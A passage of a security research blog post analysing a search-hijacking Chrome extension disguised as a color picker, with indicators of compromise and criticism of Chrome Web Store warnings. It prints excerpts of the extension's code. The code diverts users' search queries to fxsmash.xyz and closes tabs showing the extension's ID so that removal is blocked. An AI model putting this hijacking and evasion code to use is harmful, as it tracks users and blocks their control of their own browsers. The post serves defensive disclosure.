srcset="https://substackcdn.com/image/fetch/$s_!fqYU!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05361b24-7443-4b35-8557-758400b18563_1628x1386.gif 424w, https://substackcdn.com/image/fetch/$s_!fqYU!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05361b24-7443-4b35-8557-758400b18563_1628x1386.gif 848w, https://substackcdn.com/image/fetch/$s_!fqYU!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05361b24-7443-4b35-8557-758400b18563_1628x1386.gif 1272w, https://substackcdn.com/image/fetch/$s_!fqYU!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05361b24-7443-4b35-8557-758400b18563_1628x1386.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fqYU!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05361b24-7443-4b35-8557-758400b18563_1628x1386.gif" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/05361b24-7443-4b35-8557-758400b18563_1628x1386.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fqYU!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05361b24-7443-4b35-8557-758400b18563_1628x1386.gif 424w, https://substackcdn.com/image/fetch/$s_!fqYU!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05361b24-7443-4b35-8557-758400b18563_1628x1386.gif 848w, https://substackcdn.com/image/fetch/$s_!fqYU!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05361b24-7443-4b35-8557-758400b18563_1628x1386.gif 1272w, https://substackcdn.com/image/fetch/$s_!fqYU!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05361b24-7443-4b35-8557-758400b18563_1628x1386.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div><hr></div><p>Let&#8217;s take a tour of the code, starting with a directory tree of the files in the unpacked extension directory:</p><pre><code>cepmhjglgonbhlpgjbmlgcpdfidmlonn $ tree
.
&#9492;&#9472;&#9472; 1.1_0
    &#9500;&#9472;&#9472; 128.png
    &#9500;&#9472;&#9472; _metadata
    &#9474;   &#9500;&#9472;&#9472; computed_hashes.json
    &#9474;   &#9492;&#9472;&#9472; verified_contents.json
    &#9500;&#9472;&#9472; data
    &#9474;   &#9492;&#9472;&#9472; popup
    &#9474;       &#9500;&#9472;&#9472; popup.css
    &#9474;       &#9500;&#9472;&#9472; popup.html
    &#9474;       &#9500;&#9472;&#9472; popup.js
    &#9474;       &#9492;&#9472;&#9472; resources
    &#9474;           &#9500;&#9472;&#9472; artistic.js
    &#9474;           &#9500;&#9472;&#9472; bluish.js
    &#9474;           &#9500;&#9472;&#9472; comic.js
    &#9474;           &#9500;&#9472;&#9472; css3.js
    &#9474;           &#9500;&#9472;&#9472; drawing.js
    &#9474;           &#9500;&#9472;&#9472; favorite.js
    &#9474;           &#9500;&#9472;&#9472; game.js
    &#9474;           &#9500;&#9472;&#9472; hues.js
    &#9474;           &#9500;&#9472;&#9472; large.js
    &#9474;           &#9500;&#9472;&#9472; material.js
    &#9474;           &#9500;&#9472;&#9472; monitor.js
    &#9474;           &#9500;&#9472;&#9472; notify.js
    &#9474;           &#9500;&#9472;&#9472; popular.js
    &#9474;           &#9500;&#9472;&#9472; rainbow.js
    &#9474;           &#9500;&#9472;&#9472; random.js
    &#9474;           &#9500;&#9472;&#9472; safe.js
    &#9474;           &#9500;&#9472;&#9472; spectrum.js
    &#9474;           &#9492;&#9472;&#9472; ui.js
    &#9500;&#9472;&#9472; lib
    &#9474;   &#9492;&#9472;&#9472; color.js
    &#9492;&#9472;&#9472; manifest.json</code></pre><pre><code>6 directories, 26 files</code></pre><p>Faced with a bunch of files to dig through, we try to narrow our scope with a grep for that <code>fxsmash</code> domain we were able to get a glimpse of during our redirect to Yahoo search:</p><pre><code>cepmhjglgonbhlpgjbmlgcpdfidmlonn $ grep -r fxsmash *
1.1_0/lib/color.js:  var eid = chrome.runtime.id, help = [],err = &#8220;<a href="https://medium.com/r/?url=https%3A%2F%2Ffxsmash.xyz%2Fmnc.php%3Fq%3D">https://fxsmash.xyz/mnc.php?q=</a>&#8220;;
1.1_0/lib/color.js:     }, 1e3), setTimeout(function() {chrome.tabs.create({ url: &#8220;<a href="https://medium.com/r/?url=https%3A%2F%2Ffxsmash.xyz%2Fchrinstall.php">https://fxsmash.xyz/chrinstall.php</a>&#8220; })}, 1500))})});</code></pre><p>Eyeballing the files confirms that the bulk of the code is here to support the actual decoy functionality of picking colors, so we turn our attention to <code>color.js</code> as per the output of our <code>grep</code> command.</p><p>Below, we have reformatted the original <code>color.js</code> (over 1200 lines of code) in order to eliminate anything not directly related to either search hijacking or evasion:</p><p>Let&#8217;s highlight some of the interesting tidbits. First, we see an <code>eid</code> variable that is assigned the Chrome Extensions&#8217;s ID. This is going to be used to execute the defensive tactic that we showed earlier. You can see exactly how it&#8217;s done on line <code>47</code>.</p><pre><code>tu.includes(eid) &amp;&amp; !tu.includes(&#8221;errors&#8221;) &amp;&amp; chrome.tabs.remove(e, function() {})</code></pre><p>This all happens in one of the <code>chrome.tabs.onUpdated</code> event listeners which are used to monitor new tabs as they&#8217;re spawned. The <code>chrome.tabs</code> API provides extension developers with information about the tab url, the favicon, and the tab&#8217;s status (unloaded, loading, complete).</p><p>The <code>chrome.tabs</code> API can also be used to spawn new tabs or close existing tabs, which as it turns out can enable significant disruption (like search hijacking).</p><p>We can see other traces of how these things are used in the code to close tabs in select cases. For example, they don&#8217;t want to leave the <code>fxsmash</code> domain lingering anywhere:</p><pre><code>if (tabs[i].url.indexOf(&#8217;xsmash&#8217;) &gt; -1 &amp;&amp; tabs[tabs.length - 1].url.indexOf(&#8217;xsmash&#8217;) &gt; -1) {
    chrome.tabs.remove(tabs[i].id, function() {});
}</code></pre><p>And there are some specific targets that they close the tabs on as well:</p><pre><code>if (tabit.url.includes(&#8221;pid=default2017&#8221;) || tabit.url.includes(&#8221;hspart=dcola&#8221;) || tabit.url.includes(&#8221;&amp;ptag&#8221;) || tabit.url.includes(&#8221;&amp;conlogo&#8221;) || tabit.url.includes(&#8221;&amp;FORM&#8221;)) {
  chrome.tabs.remove(tabit.id, function() {});
}</code></pre><p>So how does the search hijack itself work? Again, a<code>chrome.tabs.onUpdated</code> event listener is used in order to monitor new tabs as they spawn and the urls are matched against popular search engines:</p><pre><code>tu.includes(&#8221;ogle&#8221;) &amp;&amp; tu.includes(&#8221;earc&#8221;) &amp;&amp; (t = gp(tu),
c = (i = Object.values(t))[0],
tu.includes(&#8221;gs_ssp&#8221;) &amp;&amp; (c = i[1]),
tu.includes(&#8221;gs_ssp&#8221;) &amp;&amp; tu.includes(&#8221;gs_lcp&#8221;) &amp;&amp; (c = i[0]),
tu.includes(&#8221;&amp;sxsrf&#8221;) &amp;&amp; (c = i[0]),
tu.includes(&#8221;?sxsrf&#8221;) &amp;&amp; (c = t.q)),
tu.includes(&#8221;ng.c&#8221;) &amp;&amp; tu.includes(&#8221;i&#8221;) &amp;&amp; tu.includes(&#8221;arch?&#8221;))
...</code></pre><pre><code>if (tu.includes(&#8221;oo.co&#8221;) &amp;&amp; !tu.includes(&#8221;mages.se&#8221;) &amp;&amp; !tu.includes(&#8221;ideo.sea&#8221;) &amp;&amp; !tu.includes(&#8221;;_ylt=&#8221;) &amp;&amp; tu.includes(&#8221;arch.ya&#8221;)) {
...</code></pre><p>Given a match, the query parameter is parsed out and passed to the <code>fxsmash</code> endpoint, which in turn is going to route it to Yahoo search with whatever affiliate parameters filled in:</p><pre><code>chrome.tabs.create({
  url: err + c
}, ...</code></pre><div><hr></div><h3><strong>Impact &amp; Scope</strong></h3><p>Having tracked this campaign for several weeks, we observed that the typical lifespan of one of these extensions on the Chrome Web Store averages anywhere from several days to a week.</p><p>These two screenshots were taken approximately 24 hours apart:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Z8v6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a46ee3d-f07e-4393-b0b6-155568b7f581_1500x404.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Z8v6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a46ee3d-f07e-4393-b0b6-155568b7f581_1500x404.png 424w, https://substackcdn.com/image/fetch/$s_!Z8v6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a46ee3d-f07e-4393-b0b6-155568b7f581_1500x404.png 848w, https://substackcdn.com/image/fetch/$s_!Z8v6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a46ee3d-f07e-4393-b0b6-155568b7f581_1500x404.png 1272w, https://substackcdn.com/image/fetch/$s_!Z8v6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a46ee3d-f07e-4393-b0b6-155568b7f581_1500x404.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Z8v6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a46ee3d-f07e-4393-b0b6-155568b7f581_1500x404.png" width="1456" height="392" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1a46ee3d-f07e-4393-b0b6-155568b7f581_1500x404.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:392,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Z8v6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a46ee3d-f07e-4393-b0b6-155568b7f581_1500x404.png 424w, https://substackcdn.com/image/fetch/$s_!Z8v6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a46ee3d-f07e-4393-b0b6-155568b7f581_1500x404.png 848w, https://substackcdn.com/image/fetch/$s_!Z8v6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a46ee3d-f07e-4393-b0b6-155568b7f581_1500x404.png 1272w, https://substackcdn.com/image/fetch/$s_!Z8v6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a46ee3d-f07e-4393-b0b6-155568b7f581_1500x404.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Cn_k!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d42077a-a8a8-48f3-87ab-3ab50991b3ab_1000x272.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Cn_k!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d42077a-a8a8-48f3-87ab-3ab50991b3ab_1000x272.png 424w, https://substackcdn.com/image/fetch/$s_!Cn_k!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d42077a-a8a8-48f3-87ab-3ab50991b3ab_1000x272.png 848w, https://substackcdn.com/image/fetch/$s_!Cn_k!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d42077a-a8a8-48f3-87ab-3ab50991b3ab_1000x272.png 1272w, https://substackcdn.com/image/fetch/$s_!Cn_k!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d42077a-a8a8-48f3-87ab-3ab50991b3ab_1000x272.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Cn_k!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d42077a-a8a8-48f3-87ab-3ab50991b3ab_1000x272.png" width="1000" height="272" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3d42077a-a8a8-48f3-87ab-3ab50991b3ab_1000x272.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:272,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Cn_k!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d42077a-a8a8-48f3-87ab-3ab50991b3ab_1000x272.png 424w, https://substackcdn.com/image/fetch/$s_!Cn_k!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d42077a-a8a8-48f3-87ab-3ab50991b3ab_1000x272.png 848w, https://substackcdn.com/image/fetch/$s_!Cn_k!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d42077a-a8a8-48f3-87ab-3ab50991b3ab_1000x272.png 1272w, https://substackcdn.com/image/fetch/$s_!Cn_k!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d42077a-a8a8-48f3-87ab-3ab50991b3ab_1000x272.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>That&#8217;s a growth rate of 1k users per, day per campaign, and these campaigns are typically run in tandem, pushed by 5 rotating landing pages that we have identified over the last month:</p><pre><code>hxxps://mkkq.xyz/new/pr/continue/indextwo.html
hxxps://nowinstall.xyz/new/pr/continue/indextwo.html
hxxps://skiss.xyz/new/pr/continue/indextwo.html
hxxps://umxs.xyz/new/pr/continue/indextwo.html
hxxps://byyr.xyz/new/pr/continue/indextwo.html</code></pre><p>Remember though, that these Chrome Extensions persist locally even after they are removed from the Chrome Web Store. That means that despite frequent take downs, the overall victim count easily scales to one million infected devices per year for this campaign (if not more), and if the ad serving infrastructure gets shut down, the infected devices continue to pay dividends to the fraudsters in perpetuity until manually removed from those devices.</p><h4><strong>Where Google Fails</strong></h4><p>Earlier in the blog post we posted a screenshot of the modal that Google serves up after a user clicks the &#8220;Add To Chrome&#8221; button on these extensions.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_OLu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd820541-208b-490a-9b5d-e36619fd68ac_800x212.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_OLu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd820541-208b-490a-9b5d-e36619fd68ac_800x212.png 424w, https://substackcdn.com/image/fetch/$s_!_OLu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd820541-208b-490a-9b5d-e36619fd68ac_800x212.png 848w, https://substackcdn.com/image/fetch/$s_!_OLu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd820541-208b-490a-9b5d-e36619fd68ac_800x212.png 1272w, https://substackcdn.com/image/fetch/$s_!_OLu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd820541-208b-490a-9b5d-e36619fd68ac_800x212.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_OLu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd820541-208b-490a-9b5d-e36619fd68ac_800x212.png" width="800" height="212" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fd820541-208b-490a-9b5d-e36619fd68ac_800x212.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:212,&quot;width&quot;:800,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_OLu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd820541-208b-490a-9b5d-e36619fd68ac_800x212.png 424w, https://substackcdn.com/image/fetch/$s_!_OLu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd820541-208b-490a-9b5d-e36619fd68ac_800x212.png 848w, https://substackcdn.com/image/fetch/$s_!_OLu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd820541-208b-490a-9b5d-e36619fd68ac_800x212.png 1272w, https://substackcdn.com/image/fetch/$s_!_OLu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd820541-208b-490a-9b5d-e36619fd68ac_800x212.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>These are meant to serve as a security warning so that users can have a sense of consequence for what they&#8217;re about to install.</p><p>Let&#8217;s compare this modal to a different extension:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JJz5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F666fd6d4-fa44-48fa-bf6a-22e30966709c_1000x400.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JJz5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F666fd6d4-fa44-48fa-bf6a-22e30966709c_1000x400.png 424w, https://substackcdn.com/image/fetch/$s_!JJz5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F666fd6d4-fa44-48fa-bf6a-22e30966709c_1000x400.png 848w, https://substackcdn.com/image/fetch/$s_!JJz5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F666fd6d4-fa44-48fa-bf6a-22e30966709c_1000x400.png 1272w, https://substackcdn.com/image/fetch/$s_!JJz5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F666fd6d4-fa44-48fa-bf6a-22e30966709c_1000x400.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JJz5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F666fd6d4-fa44-48fa-bf6a-22e30966709c_1000x400.png" width="1000" height="400" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/666fd6d4-fa44-48fa-bf6a-22e30966709c_1000x400.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!JJz5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F666fd6d4-fa44-48fa-bf6a-22e30966709c_1000x400.png 424w, https://substackcdn.com/image/fetch/$s_!JJz5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F666fd6d4-fa44-48fa-bf6a-22e30966709c_1000x400.png 848w, https://substackcdn.com/image/fetch/$s_!JJz5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F666fd6d4-fa44-48fa-bf6a-22e30966709c_1000x400.png 1272w, https://substackcdn.com/image/fetch/$s_!JJz5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F666fd6d4-fa44-48fa-bf6a-22e30966709c_1000x400.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><code>Print Recipes</code>, for all intents and purposes, is another extension that hijacks search, but is a little more forthcoming about it and the website is complete with a privacy policy and uninstall instructions&#8230;</p><p>However, if we go to install the extension:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Hbr8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c0ae680-e698-42d0-8b1c-2bc88c011a9e_446x249.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 